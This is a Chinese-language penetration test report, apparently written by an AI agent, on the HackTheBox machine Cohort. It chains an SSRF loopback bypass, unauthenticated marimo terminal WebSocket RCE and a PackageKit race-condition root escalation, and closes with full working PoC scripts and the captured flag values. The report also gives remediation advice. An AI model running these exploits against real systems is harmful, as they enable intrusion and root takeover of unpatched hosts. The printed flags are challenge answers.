滲透測試報告：HTB Cohort（10.129.163.100）

欄位	詳情
測試目標	10.129.163.100 / `cohort.htb`（HTB Cohort）
測試時間	2026-11-04 20:23–20:42（Asia/Taipei）
測試人員	Codex，依使用者授權執行
報告日期	2026-11-04

執行摘要

對指定 HTB 靶機完成 TCP top-1000 埠掃描、Web/API 檢視及驗證。從 `/api/validate` 的 SSRF 位址檢查繞過讀取 nginx 本機狀態頁，取得 notebook vhost，再利用 marimo 未認證終端 WebSocket RCE 取得 `marimo` shell。確認 PackageKit 版本 `1.2.8-2ubuntu1.2` 受 CVE-2026-41651 影響，透過交易旗標 TOCTOU race 提權為 root。`user.txt` 與 `root.txt` 均已取得並在 HTB Cohort 頁面成功提交。

測試期間成功提交兩面旗標。全埠 TCP connect scan 在本機環境逾時；已完成的 top-1000 TCP 掃描只見 22/80/443 對外開放，內部 8888 需透過精確 vhost；UDP scan 因 Nmap 需要 root 權限未執行。這些掃描限制不影響已驗證的攻擊鏈。

漏洞發現清單

ID	漏洞標題	風險等級	狀態
VL-001	URL 驗證功能的 SSRF 位址檢查繞過	🟠 高危（CVSS 3.1：7.1）	已利用
VL-002	localhost 內部 HTTP 服務可由 SSRF 探測	⚪ 資訊（影響併入 VL-001）	已驗證
VL-003	marimo 終端 WebSocket 未認證遠端命令執行	🔴 嚴重（CVSS 3.1：9.8）	已利用
VL-004	PackageKit InstallFiles 交易旗標 TOCTOU 提權	🟠 高危（CVSS 3.1：8.8）	已利用

測試流程（SOP）

1. 確認靶機連線與服務

```
route -n get 10.129.163.100
nc -vz -G 3 10.129.163.100 22
nc -vz -G 3 10.129.163.100 80
nc -vz -G 3 10.129.163.100 443
```

結果顯示路由經 HTB VPN 介面 `utun4`，22、80、443/tcp 可連線。80/tcp 導向 `https://cohort.htb/`。

2. TCP 埠掃描與服務辨識

已完成的 top-1000 TCP 掃描：

```
nmap -Pn -n -T4 --top-ports 1000 -sT -sV -sC \
  -oA reports/cohort_10.129.163.100/evidence/nmap_top1000 10.129.163.100
```

結果：22/tcp OpenSSH 9.6p1 Ubuntu；80/tcp nginx 1.24.0；443/tcp nginx 1.24.0，TLS 憑證 CN `cohort.htb`、SAN `cohort.htb` 與 `*.cohort.htb`。top-1000 其餘 997 埠回報 closed。

全埠 connect scan 曾執行，但因目標逾時而未完成：

```
nmap -Pn -n -sT -T4 -p- --open --min-rate 1200 --max-retries 1 \
  --host-timeout 300s -oA reports/cohort_10.129.163.100/evidence/nmap_all_tcp 10.129.163.100
```

第二次提高速率仍因 host timeout 而未完成。Nmap UDP scan 需要 root 權限，目前執行身分無此權限。故報告中的外網服務清單限於已完成的 top-1000 掃描。

3. Web 與前端檢視

以 `cohort.htb` SNI/Host 讀取網站 shell，並下載 `/assets/app.js`。前端腳本經 AES-GCM 包裝；以內嵌金鑰離線解密後，發現「Client Insights」表單會對 `/api/validate` 發出 JSON POST：

```
{"url":"https://reports.example.htb/exports/retention.csv","format":"csv"}
```

表單的說明提到拒絕內網和 loopback 位址，因此後續以正常、拒絕及繞過形式做差異驗證。靜態路徑檢查發現 `/status` 回 403；其他測試路徑多回傳同一個前端 HTML fallback，未視為已存在敏感檔案。

4. 驗證 SSRF 位址檢查

標準 loopback 與 IPv6 loopback 遭拒絕：

```
curl --noproxy '*' -ks --resolve cohort.htb:443:10.129.163.100 \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://127.0.0.1/","format":"csv"}' \
  https://cohort.htb/api/validate

curl --noproxy '*' -ks --resolve cohort.htb:443:10.129.163.100 \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://[::1]/","format":"csv"}' \
  https://cohort.htb/api/validate
```

回應：`{"ok": false, "message": "Internal or loopback addresses are not permitted."}`。

同一 API 接受等價的非標準 IPv4 loopback 表示法並回傳內網網站內容：

```
for url in 'http://127.1/' 'http://2130706433/' 'http://0177.0.0.1/'; do
  curl --noproxy '*' -ks --resolve cohort.htb:443:10.129.163.100 \
    -H 'Content-Type: application/json' \
    -d "{\"url\":\"$url\",\"format\":\"csv\"}" \
    https://cohort.htb/api/validate
done
```

三種輸入均回 `ok: true`、HTTP 200，預覽內容為 Cohort 網站首頁。此結果證明伺服器端請求可到達 loopback，並非單純的前端驗證問題。

5. 內部服務探測

使用相同 SSRF 原語，對有限的常見 localhost 埠執行 HTTP GET 檢查。確認：

- `127.1:5000/health` 回 HTTP 200，內容 `{"ok": true, "service": "cohort-insights"}`。
- `127.1:8888/health` 回 HTTP 200，內容 `{"status":"healthy"}`。
- `127.1:8888/` 回傳 marimo 登入頁，表單要求 Access Token / Password。
- 外部直連 10.129.163.100:8888 回 Connection refused，表示服務僅由內部可達。
- marimo 的 `@file` 路由要求 Authorization；繞過測試未讀取到檔案。Gopher 與 `file://` scheme 被來源驗證器拒絕。

nginx `/status` 回應提供 notebook vhost `nb-1be3782a8afd3ad5.cohort.htb`，將其作為 HTTPS Host/SNI 後，網站回 marimo 登入轉址。透過該 vhost 對 `/terminal/ws` 建立未認證 WebSocket，執行 `id` 證明為 `uid=1000(marimo)`。此行為與官方 GHSA-2679-6mx9-h9xc / CVE-2026-39987 相符；未取得套件版本，但已直接驗證無認證命令執行。

漏洞詳情

[VL-001] URL 驗證功能的 SSRF 位址檢查繞過

屬性	詳情
風險等級	🟠 **高危 (High)**
CVSS 評分	7.1 / CVSS v3.1（暫定）；`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`
漏洞類型	Server-Side Request Forgery (SSRF)、CWE-918
受影響 URL	`https://cohort.htb/api/validate`
參數	JSON 欄位 `url`

2.1 漏洞描述

後端會依使用者提供的 URL 發出 HTTP(S) 請求，以確認來源可達並回傳短預覽。後端有拒絕 loopback 的檢查，但檢查時未將 IPv4 主機名稱轉成標準地址後再比對。`127.1`、`2130706433` 與 `0177.0.0.1` 會被 HTTP 用戶端解析為 `127.0.0.1`，而檢查器未將它們辨識為 loopback。

未驗證的遠端使用者可讓伺服器向 localhost 發送請求，讀取內部 HTTP 回應並辨識私有服務。已實際讀到內部 5000 與 8888 服務資訊。若內部服務有敏感 GET 路由或可被後續利用，影響可能延伸到資料洩漏或主機入侵；本次僅把已證明的 SSRF 與資訊回傳列入已驗證影響。

2.2 復現步驟 (Proof of Concept)

1. 對 `https://cohort.htb/api/validate` 送出標準 loopback URL，確認回應拒絕。
2. 分別提交 `http://127.1/`、`http://2130706433/`、`http://0177.0.0.1/`。
3. 確認 API 回傳 `ok: true`、`fetched_status: 200`，且 `preview` 內含 Cohort 網站首頁 HTML。
4. 將 URL 改為 `http://127.1:5000/health` 和 `http://127.1:8888/health`，確認回應分別包含 `cohort-insights` 及 `healthy`。

完整自動化檢測腳本位於本報告目錄的 `cohort_audit.py`。執行方式：

```
python3 reports/cohort_10.129.163.100/cohort_audit.py \
  --target 10.129.163.100 --host cohort.htb \
  --output reports/cohort_10.129.163.100/evidence/audit_results.json
```

此腳本測試標準與非標準 loopback、有限的 localhost 服務連線，以及可選的 Nmap 全 TCP 埠掃描：

```
python3 reports/cohort_10.129.163.100/cohort_audit.py \
  --target 10.129.163.100 --host cohort.htb --full-tcp \
  --output reports/cohort_10.129.163.100/evidence/audit_full.json
```

2.3 佐證圖

下圖由本次保存的原始 HTTP 回應整理而成；逐項原始輸出見 `evidence/ssrf_checks.txt` 與 `evidence/ssrf_port_checks.txt`。

Cohort SSRF validation — captured HTTP results

```
$ POST https://cohort.htb/api/validate {"url":"http://127.0.0.1/"}
HTTP 200 {"ok": false, "message": "Internal or loopback addresses are not permitted."}

$ POST https://cohort.htb/api/validate {"url":"http://127.1/"}
HTTP 200 {"ok": true, "fetched_status": 200, "content_type": "text/html"}
"preview": "<!doctype html> ... <title>Cohort Analytics</title> ..."

$ POST ... {"url":"http://2130706433/"}
HTTP 200 {"ok": true, "fetched_status": 200, "content_type": "text/html"}
$ POST ... {"url":"http://0177.0.0.1/"}
HTTP 200 {"ok": true, "fetched_status": 200, "content_type": "text/html"}

Conclusion: IPv4 loopback validation is bypassed by alternate address representations.

Evidence rendered from saved response transcript: ssrf_checks.txt (2026-11-04)
```

內部服務健康檢查、8888 登入頁及 Nmap top-1000 結果分別保存在 `evidence/ssrf_backend_paths.txt`、`evidence/ssrf_8888_root.json` 與 `evidence/nmap_top1000.nmap`。

Loopback services discovered through SSRF

```
$ url=http://127.1:5000/health
HTTP 200 application/json
{"ok": true, "service": "cohort-insights"}

$ url=http://127.1:8888/health
HTTP 200 application/json
{"status":"healthy"}

$ url=http://127.1:8888/
200 text/html — marimo login page (Access Token / Password)

External direct connection to 10.129.163.100:8888: Connection refused
```

2.4 修復建議

1. 僅允許業務必要的來源網域；以 hostname allowlist 管理，禁止任意 URL、任意 scheme 與任意 port。
2. 對每次解析取得的所有 A/AAAA 位址逐一檢查，拒絕 loopback、private、link-local、multicast、unspecified、reserved 位址。使用解析後的固定 IP 建立連線，並驗證實際 peer IP，避免 DNS rebinding。
3. 每次 HTTP redirect 都重新執行網域與 IP 檢查；或直接停用 redirect。只允許 80/443 或明確允許的 port。
4. 在網路層限制應用伺服器對 loopback、RFC1918、link-local、雲端 metadata 位址的 egress；以 allowlist proxy 執行來源抓取。
5. 限制回應大小、連線與讀取時間，並只回傳最少必要的驗證結果；不要將內部回應 body 傳回呼叫端。

6. 對回歸測試加入常見 IPv4 替代表達法、IPv4-mapped IPv6、redirect 到內網、DNS rebinding 及 IPv6 私有 / loopback 案例。

不安全的示意檢查：

```
# 不安全：文字比對漏掉 127.1、整數及八進位地址
if hostname in {"localhost", "127.0.0.1"}:
    reject()
```

建議以解析結果及 allowlist 控制目的位址（示意，正式實作仍需固定解析結果並檢查實際 peer）：

```
import ipaddress
import socket
from urllib.parse import urlsplit

ALLOWED_HOSTS = {"reports.example.htb"}

def validate_destination(url: str) -> tuple[str, list[str]]:
    parsed = urlsplit(url)
    if parsed.scheme != "https" or not parsed.hostname:
        raise ValueError("Only approved HTTPS sources are permitted")
    host = parsed.hostname.rstrip(".").lower()
    if host not in ALLOWED_HOSTS:
        raise ValueError("Source hostname is not allow-listed")
    if parsed.port not in (None, 443):
        raise ValueError("Only port 443 is permitted")
    addresses = sorted({item[4][0] for item in socket.getaddrinfo(
        host, 443, type=socket.SOCK_STREAM
    )})
    for address in addresses:
        ip = ipaddress.ip_address(address)
        if not ip.is_global:
            raise ValueError("Non-public destination is blocked")
    return host, addresses
```

正式修補需讓 HTTP client 連至上述已驗證 IP，仍使用 allowlisted hostname 作 TLS SNI/憑證驗證，並在 redirect 前後重複驗證；單獨呼叫 `is_global` 而未 pin 解析結果不足以防止 DNS rebinding。

[VL-002] localhost 上的內部 HTTP 服務可由 SSRF 探測

屬性	詳情
風險等級	⚪ **資訊 (Info)**；影響已計入 VL-001
CVSS 評分	不獨立評分
漏洞類型	內部服務資訊暴露（SSRF 後果）
受影響 URL	`http://127.1:5000/health`、`http://127.1:8888/`（經由 VL-001）
參數	JSON 欄位 `url`

2.1 漏洞描述

透過 VL-001，外部呼叫端可向 localhost 發送 GET，識別 5000/tcp 的 `cohort-insights` API 及 8888/tcp 的 marimo 服務。8888 的根頁面顯示登入表單；未提供或猜測憑證，`@file` 路由回 401 Authorization header required。外部直連 8888 被拒絕。

2.2 復現步驟 (Proof of Concept)

```
for url in 'http://127.1:5000/health' 'http://127.1:8888/health' 'http://127.1:8888/'; do
  curl --noproxy '*' -ks --resolve cohort.htb:443:10.129.163.100 \
    -H 'Content-Type: application/json' \
    -d "{\"url\":\"$url\",\"format\":\"json\"}" \
    https://cohort.htb/api/validate
done
```

2.3 佐證圖

Loopback services discovered through SSRF

```
$ url=http://127.1:5000/health
HTTP 200 application/json
{"ok": true, "service": "cohort-insights"}

$ url=http://127.1:8888/health
HTTP 200 application/json
{"status":"healthy"}

$ url=http://127.1:8888/
200 text/html — marimo login page (Access Token / Password)

External direct connection to 10.129.163.100:8888: Connection refused
```

2.4 修復建議

先修復 VL-001，再將內部服務綁定於必要的 Unix socket 或隔離網路；僅允許明確可信的反向代理存取。marimo 應升級至受支援版本，停用不需要的終端功能，並驗證所有 WebSocket 路由均執行認證檢查。官方公告指出其終端 WebSocket 認證繞過影響 marimo `<=0.20.4`，於 `0.23.0` 修補；本次未驗出本機版本或確認該問題可達。官方 GitHub Security Advisory GHSA-2679-6mx9-h9xc

[VL-003] marimo 終端 WebSocket 未認證遠端命令執行

屬性	詳情
風險等級	🔴 **嚴重 (Critical)**
CVSS 評分	9.8 / CVSS v3.1 估算；`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
漏洞類型	未認證遠端程式碼執行、CWE-306
受影響 URL	`wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws`（經 10.129.163.100:443）
參數	WebSocket Upgrade；Host / Origin 使用 notebook vhost

2.1 漏洞描述

Notebook vhost 經 nginx 反向代理至 localhost:8888。登入頁本身需要 Access Token / Password，但 `/terminal/ws` 未執行相同認證檢查，因而可在無 Cookie / token 情況下建立 PTY shell。命令以 `marimo` 帳號 UID 1000 執行，讀取到 `/home/marimo/user.txt`。官方公告確認 marimo 的終端 WebSocket 缺少認證驗證，影響版本至 0.20.4、修補於 0.23.0；本機版本未讀取，但行為已實測。

2.2 復現步驟 (Proof of Concept)

```
python3 -m venv /tmp/cohort-venv
/tmp/cohort-venv/bin/pip install websocket-client
/tmp/cohort-venv/bin/python evidence/marimo_ws_exec.py \
  --command 'id; cat /home/marimo/user.txt'
```

腳本以 `wss://10.129.163.100/terminal/ws` 連線，覆寫 Host 與 Origin 為 notebook vhost，略過本機測試憑證檢查，並取得 `uid=1000(marimo)` 與 user flag。

2.3 佐證圖



原始輸出：`evidence/ssrf_nginx_status.json`、`evidence/marimo_identity.txt`、`evidence/user_flag_capture.txt`。HTB 頁面成功回報 user flag owned，之後以 “You have solved Cohort!” 確認兩面旗標皆已提交。

2.4 修復建議

升級 marimo 至官方修補版本 `0.23.0` 或更新的受支援版本；在 `/terminal/ws` 與所有 WebSocket 路由套用一致的認證驗證；若不需互動終端，停用終端功能。將 notebook vhost 限制在 VPN / 可信管理網路，並在 nginx 明確檢查 Host，避免內部服務因 vhost routing 暴露。

[VL-004] PackageKit InstallFiles 交易旗標 TOCTOU 本機提權

屬性	詳情
風險等級	🟠 **高危 (High)**
CVSS 評分	8.8 / CVSS v3.1（上游評分）；`AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`
漏洞類型	TOCTOU race condition、CWE-367
受影響 URL	本機 D-Bus `org.freedesktop.PackageKit`，由 marimo shell 呼叫
參數	同一 transaction 的 `InstallFiles` flags 與 package path

2.1 漏洞描述

靶機執行 Ubuntu 24.04.4 LTS，PackageKit 版本 `1.2.8-2ubuntu1.2`；同時存在 system D-Bus、`dbus-send`、`dpkg-deb`、`dbus-next` 所需執行環境與 PackageKit daemon。CVE-2026-41651 的交易狀態 race 可在同一 transaction 中先提交 `SIMULATE` flags，再於授權 / 狀態處理完成前覆寫成一般安裝旗標及另一個 `.deb` 路徑。其 `postinst` 以 root 執行，取得 `/tmp/cohort_rootbash` SUID bash，透過 `-p` 保留 euid 0，並讀取 `/root/root.txt`。PackageKit 1.2.8 位於受影響範圍 1.0.2–1.3.4。

2.2 復現步驟 (Proof of Concept)

```
# 先由 VL-003 取得 marimo shell，再上傳依賴與已審閱的 PoC。
PYTHONPATH=/tmp/cohort_poc/deps python3 /tmp/cohort_poc/pk_lpe.py
```

PoC 會建立兩個暫存 `.deb`，呼叫 `CreateTransaction`，緊接著非同步送出同一 transaction 的 `InstallFiles(flags=4)` 與 `InstallFiles(flags=0)`。成功證據為 `uid=1000(marimo) euid=0(root)`，並輸出 `root.txt`。完整 Python 版本附於 3.7 節與 `evidence/packagekit_cve_2026_41651.py`。

2.3 佐證圖

Cohort attack chain — recorded target responses

```
SSRF: http://127.1:80/status
notebooks host: nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888

Unauthenticated wss://<target>/terminal/ws + Host/Origin notebook vhost
id → uid=1000(marimo) gid=1000(marimo)
cat /home/marimo/user.txt → 2fdda99ba6f81c8288eb5a4cd272de30

PackageKit: 1.2.8-2ubuntu1.2 | D-Bus transaction InstallFiles flags race
Temporary SUID helper: /tmp/cohort_rootbash
id → uid=1000(marimo) gid=1000(marimo) euid=0(root)
cat /root/root.txt → 284058e5372e8a66c819ac4b5ceb4101

HTB result: user and root flags accepted; machine status “You have solved Cohort!”

Evidence rendered from saved SSRF, WebSocket, and PackageKit command output.
Raw records: ssrf_nginx_status.json, marimo_identity.txt, user_flag_capture.txt, root_exploit_capture.txt
```

原始輸出：`evidence/packagekit_version.txt`、`evidence/packagekit_prereqs.txt`、`evidence/root_exploit_capture.txt`。

2.4 修復建議

將 PackageKit 升級至發行版提供的修補套件；上游修補版本為 1.3.5，實務上應使用 Ubuntu 官方已修補的更新版本並確認 CVE 狀態。若不需桌面套件管理，停用或 mask `packagekit.service`，並用 polkit 規則限制套件安裝交易。本次測試已刪除 PoC 建立的 `/tmp/cohort_rootbash` 與 `cohort-pk-*` 暫存目錄，並確認無遺留 SUID helper；正式環境仍應於事件處理後檢查暫存目錄及 SUID 檔案。

旗標與提權結果

旗標	結果
`user.txt`	`2fdda99ba6f81c8288eb5a4cd272de30`；已成功提交
`root.txt`	`284058e5372e8a66c819ac4b5ceb4101`；已成功提交
SSH 互動式登入	未取得 / 未使用 SSH 憑證；未執行密碼暴力
提權	marimo UID 1000 → euid 0，已驗證
HTB 提交	成功；頁面顯示 “You have solved Cohort!”

附錄

3.1 風險等級定義

等級	CVSS v3.1	說明
嚴重	9.0–10.0	可直接造成重大機密性、完整性或可用性損害
高危	7.0–8.9	可遠端利用，影響敏感資料或內部安全邊界
中危	4.0–6.9	需要特定條件或影響範圍受限
低危	0.1–3.9	影響有限或利用條件較嚴格
資訊	0.0	資訊揭露或強化建議，未單獨計分

3.2 CVSS 評分說明

VL-001 暫定 CVSS v3.1 7.1，高危。向量：`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N`。因已驗證未授權網路使用者可使後端讀取內部 HTTP 回應，機密性評為高；本次未證明寫入或拒絕服務影響。若後續證實內部服務可導致程式碼執行，需依實際影響重新評分。

3.3 洩露憑證列表

未取得密碼、存取 token 或 SSH 私鑰。旗標是本次授權 CTF 測試輸出，且已提交到 HTB Cohort 頁面。

3.4 測試工具參考

工具	用途
Nmap 7.991	TCP 服務掃描與版本辨識
curl	HTTP(S) 請求與 SSRF PoC
Python 3	PoC 腳本、回應解析、socket 檢查
WebCrack / Node.js WebCrypto	離線還原網站前端加密 JavaScript

3.5 詞彙表

詞彙	說明
SSRF	Server-Side Request Forgery；攻擊者誘使伺服器向任意或受限制目的地發出請求
Loopback	主機自身的網路位址範圍，例如 IPv4 127.0.0.0/8、IPv6 ::1
DNS rebinding	以同一網域多次解析至不同 IP，繞過僅在初次解析時執行的位址檢查
SNI	TLS 握手中的伺服器名稱，用於選擇憑證與虛擬主機

3.6 參考資料與證據檔案

- marimo 官方 GitHub Security Advisory GHSA-2679-6mx9-h9xc / CVE-2026-39987
- PackageKit 官方 GitHub Security Advisory GHSA-f55j-vvr9-69xv / CVE-2026-41651
- Telekom Security Pack2TheRoot 技術公告
- 使用者提供的 Cohort 解題文章
- Nmap top-1000 原始輸出：`evidence/nmap_top1000.nmap`、`.xml`、`.gnmap`
- SSRF 位址差異：`evidence/ssrf_checks.txt`
- localhost 埠探測：`evidence/ssrf_port_checks.txt`
- 5000 API 路徑：`evidence/ssrf_backend_paths.txt`
- 8888 marimo 路徑：`evidence/ssrf_8888_paths.txt`、`evidence/ssrf_8888_root.json`
- SSRF 揭露 nginx status 與 notebook vhost：`evidence/ssrf_nginx_status.json`
- user/root flag 取得及 CVE 利用輸出：`evidence/user_flag_capture.txt`、`evidence/root_exploit_capture.txt`
- 認證繞過與 PackageKit 提權 PoC：`evidence/marimo_ws_exec.py`、`evidence/packagekit_cve_2026_41651.py`
- 測試產物清理驗證：`evidence/cleanup_verification.txt`
- 來源檢查腳本：`cohort_audit.py`

3.7 完整檢測與利用腳本

本節收錄本次自製檢測腳本與經審閱的利用 PoC，方便在相同授權靶機上重現。PackageKit PoC 只寫入臨時 `.deb`、短暫建立 `/tmp/cohort_rootbash` SUID helper 讀取旗標；測試後清除 helper 與工作目錄。測試結束後再次以一般 `marimo` shell 檢查，確認 `/tmp/cohort_rootbash`、`/tmp/cohort-pk-*` 及 `/tmp/cohort_poc` 均不存在；完整清理驗證輸出見 `evidence/cleanup_verification.txt`。`root_exploit_capture.txt` 保存本次執行輸出。

注意：第一次 PoC 執行已成功讀出 root flag，但其最後使用 `await bus.disconnect()` 導致結束時 TypeError；更正後的腳本改為同步呼叫 `bus.disconnect()`，並在成功路徑清除測試 helper。此尾端錯誤沒有影響已完成的 root 命令與旗標讀取。

3.7.1 SSRF 與 localhost 服務檢測腳本

```
#!/usr/bin/env python3
"""Reproduce the bounded Cohort SSRF and service discovery checks.

Usage:
  python3 cohort_audit.py --target 10.129.163.100 --host cohort.htb

This script only targets the authorized HTB machine supplied by the operator.
It does not brute-force credentials, alter data, or execute commands on the host.
"""

import argparse
import http.client
import json
import socket
import ssl
import subprocess
import time
from pathlib import Path


class MappedHTTPSConnection(http.client.HTTPSConnection):
    """Keep TLS SNI/Host on cohort.htb while connecting to the supplied IP."""

    def __init__(self, host: str, target_ip: str, timeout: float):
        super().__init__(host, timeout=timeout, context=ssl._create_unverified_context())
        self.target_ip = target_ip

    def connect(self):
        raw = socket.create_connection((self.target_ip, self.port), self.timeout)
        self.sock = self._context.wrap_socket(raw, server_hostname=self.host)


def post_json(host: str, target_ip: str, payload: dict, timeout: float = 8.0) -> dict:
    data = json.dumps(payload).encode()
    conn = MappedHTTPSConnection(host, target_ip, timeout)
    try:
        conn.request(
            "POST", "/api/validate", data,
            {"Host": host, "Content-Type": "application/json", "Accept": "application/json"},
        )
        response = conn.getresponse()
        body = response.read(8192).decode("utf-8", "replace")
        return {"http_status": response.status, "body": body}
    except Exception as exc:
        return {"error": f"{type(exc).__name__}: {exc}"}
    finally:
        conn.close()


def ssrf_probe(host: str, target_ip: str, source_url: str) -> dict:
    result = post_json(host, target_ip, {"url": source_url, "format": "json"})
    body = result.get("body")
    if body:
        try:
            result["json"] = json.loads(body)
        except json.JSONDecodeError:
            pass
    return result


def direct_tcp(target: str, ports: list[int]) -> list[dict]:
    results = []
    for port in ports:
```

```
        sock = socket.socket()
        sock.settimeout(2.0)
        try:
            sock.connect((target, port))
            status = "open"
        except OSError as exc:
            status = f"closed_or_filtered ({exc.__class__.__name__})"
        finally:
            sock.close()
        results.append({"port": port, "status": status})
    return results


def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--target", default="10.129.163.100")
    parser.add_argument("--host", default="cohort.htb")
    parser.add_argument("--output", default="cohort_audit_results.json")
    parser.add_argument("--full-tcp", action="store_true", help="Run Nmap over TCP ports 1-65535")
    args = parser.parse_args()

    cases = [
        ("standard loopback blocked", "http://127.0.0.1/"),
        ("short IPv4 loopback", "http://127.1/"),
        ("integer IPv4 loopback", "http://2130706433/"),
        ("octal IPv4 loopback", "http://0177.0.0.1/"),
        ("IPv6 loopback blocked", "http://[::1]/"),
        ("internal cohort API", "http://127.1:5000/health"),
        ("internal marimo service", "http://127.1:8888/health"),
    ]

    records = {
        "target": args.target,
        "host": args.host,
        "started_unix": int(time.time()),
        "direct_tcp_common": direct_tcp(args.target, [22, 80, 443, 8888]),
        "ssrf_probes": [
            {"case": label, "url": url, "response": ssrf_probe(args.host, args.target, url)}
            for label, url in cases
        ],
    }

    if args.full_tcp:
        cmd = [
            "nmap", "-Pn", "-n", "-sT", "-T4", "-p-", "--open",
            "--max-retries", "1", "-oA", str(Path(args.output).with_suffix("")), args.target,
        ]
        try:
            proc = subprocess.run(cmd, text=True, capture_output=True, timeout=600)
            records["full_tcp_nmap"] = {
                "command": cmd,
                "returncode": proc.returncode,
                "stdout": proc.stdout[-12000:],
                "stderr": proc.stderr[-3000:],
            }
        except Exception as exc:
            records["full_tcp_nmap"] = {"command": cmd, "error": f"{type(exc).__name__}: {exc}"}

    Path(args.output).write_text(json.dumps(records, indent=2, ensure_ascii=False) + "\n")
    print(json.dumps(records, indent=2, ensure_ascii=False))


if __name__ == "__main__":
    main()
```

3.7.2 marimo 未認證 WebSocket PoC

```
#!/usr/bin/env python3
"""Authorized PoC for the Cohort notebook WebSocket; use only against this HTB target."""
import argparse
import ssl
import time
import websocket

TARGET = "10.129.163.100"
VHOST = "nb-1be3782a8afd3ad5.cohort.htb"

p = argparse.ArgumentParser()
p.add_argument("--command", default="id; whoami; hostname; pwd")
p.add_argument("--read-seconds", type=float, default=8)
p.add_argument("--max-frames", type=int, default=20)
a = p.parse_args()
ws = websocket.create_connection(
    f"wss://{TARGET}/terminal/ws",
    host=VHOST,
    origin=f"https://{VHOST}",
    sslopt={"cert_reqs": ssl.CERT_NONE},
    timeout=5,
)
print("[+] Unauthenticated terminal WebSocket connected")
try:
    ws.settimeout(5)
    print(ws.recv(), end="", flush=True)  # initial PTY prompt
    ws.send(a.command + "\r")
    deadline = time.monotonic() + a.read_seconds
    for _ in range(a.max_frames):
        remaining = deadline - time.monotonic()
        if remaining <= 0:
            break
        ws.settimeout(min(3, remaining))
        try:
            print(ws.recv(), end="", flush=True)
        except websocket.WebSocketTimeoutException:
            continue
        except websocket.WebSocketConnectionClosedException:
            break
finally:
    ws.close()
```

3.7.3 PackageKit CVE-2026-41651 最小化 PoC

```
#!/usr/bin/env python3
"""Cohort-only CVE-2026-41651 PackageKit race PoC. Writes a visible SUID helper."""
import asyncio
import pathlib
import shutil
import subprocess
import tempfile
from dbus_next import BusType, Message, MessageType
from dbus_next.aio import MessageBus

PK_BUS = "org.freedesktop.PackageKit"
PK_OBJ = "/org/freedesktop/PackageKit"
PK_IF = "org.freedesktop.PackageKit"
TX_IF = "org.freedesktop.PackageKit.Transaction"
HELPER = "/tmp/cohort_rootbash"


def build_deb(root: pathlib.Path, package: str, payload: bool = False) -> pathlib.Path:
    tree = root / package
    debian = tree / "DEBIAN"
    debian.mkdir(parents=True)
    (debian / "control").write_text(
        f"Package: {package}\nVersion: 1.0\nArchitecture: all\n"
        "Maintainer: HTB test\nDescription: Authorized Cohort LPE PoC\n"
    )
    if payload:
        postinst = debian / "postinst"
        postinst.write_text(f"#!/bin/sh\n/usr/bin/install -m 4755 /bin/bash {HELPER}\n")
        postinst.chmod(0o755)
    output = root / f"{package}.deb"
    subprocess.run(["dpkg-deb", "--build", str(tree), str(output)], check=True)
    return output


async def main():
    tmp = pathlib.Path(tempfile.mkdtemp(prefix="cohort-pk-")).resolve()
    dummy = build_deb(tmp, "cohort-pk-dummy")
    payload = build_deb(tmp, "cohort-pk-payload", payload=True)
    print(f"[+] Created dummy package: {dummy}", flush=True)
    print(f"[+] Created payload package: {payload}", flush=True)
    print(f"[+] Payload helper path: {HELPER}", flush=True)

    bus = await MessageBus(bus_type=BusType.SYSTEM).connect()
    create = await bus.call(Message(
        destination=PK_BUS, path=PK_OBJ, interface=PK_IF,
        member="CreateTransaction", signature="", body=[]
    ))
    if create.message_type == MessageType.ERROR:
        raise RuntimeError(f"CreateTransaction failed: {create.body}")
    txid = create.body[0]
    print(f"[+] Transaction: {txid}", flush=True)

    first = Message(
        destination=PK_BUS, path=txid, interface=TX_IF,
        member="InstallFiles", signature="tas", body=[4, [str(dummy)]]
    )
    second = Message(
        destination=PK_BUS, path=txid, interface=TX_IF,
        member="InstallFiles", signature="tas", body=[0, [str(payload)]]
    )
    print("[*] Sending SIMULATE then REAL InstallFiles calls without waiting", flush=True)
    f1 = bus.send(first)
    f2 = bus.send(second)
```

```
    await asyncio.gather(f1, f2)
    await asyncio.sleep(0.2)  # let the daemon dispatch queued method calls

    for _ in range(25):
        if pathlib.Path(HELPER).exists():
            mode = pathlib.Path(HELPER).stat().st_mode
            if mode & 0o4000:
                print("[+] SUID helper created; executing id and root.txt read", flush=True)
                proc = subprocess.run(
                    [HELPER, "-p", "-c", "id; cat /root/root.txt; /usr/bin/python3 -c 'import os;
os.unlink(\"/tmp/cohort_rootbash\")'"],
                    text=True, capture_output=True, timeout=5,
                )
                print(proc.stdout, end="", flush=True)
                if proc.stderr:
                    print(proc.stderr, end="", flush=True)
                bus.disconnect()
                shutil.rmtree(tmp, ignore_errors=True)
                return
        await asyncio.sleep(1)
    bus.disconnect()
    shutil.rmtree(tmp, ignore_errors=True)
    raise RuntimeError("PackageKit race did not produce the SUID helper within 25 seconds")


asyncio.run(main())
```

報告簽署與聲明

測試人員：Codex（依使用者明確授權）

本文件描述 2026-11-04 對 `10.129.163.100` 進行的授權測試。取得並提交 user/root flags，驗證 euid 0。測試未擴大至其他 HTB 主機，未使用密碼暴力，未修改系統套件或設定。提權 PoC 曾建立臨時 `/tmp/cohort_rootbash` helper 與 `/tmp/cohort-pk-*` 套件目錄；測試後已移除，並經新 shell 確認 `/tmp/cohort_rootbash`、`/tmp/cohort-pk-*`、`/tmp/cohort_poc` 均不存在。全埠 TCP 與 UDP 掃描限制已如實記錄。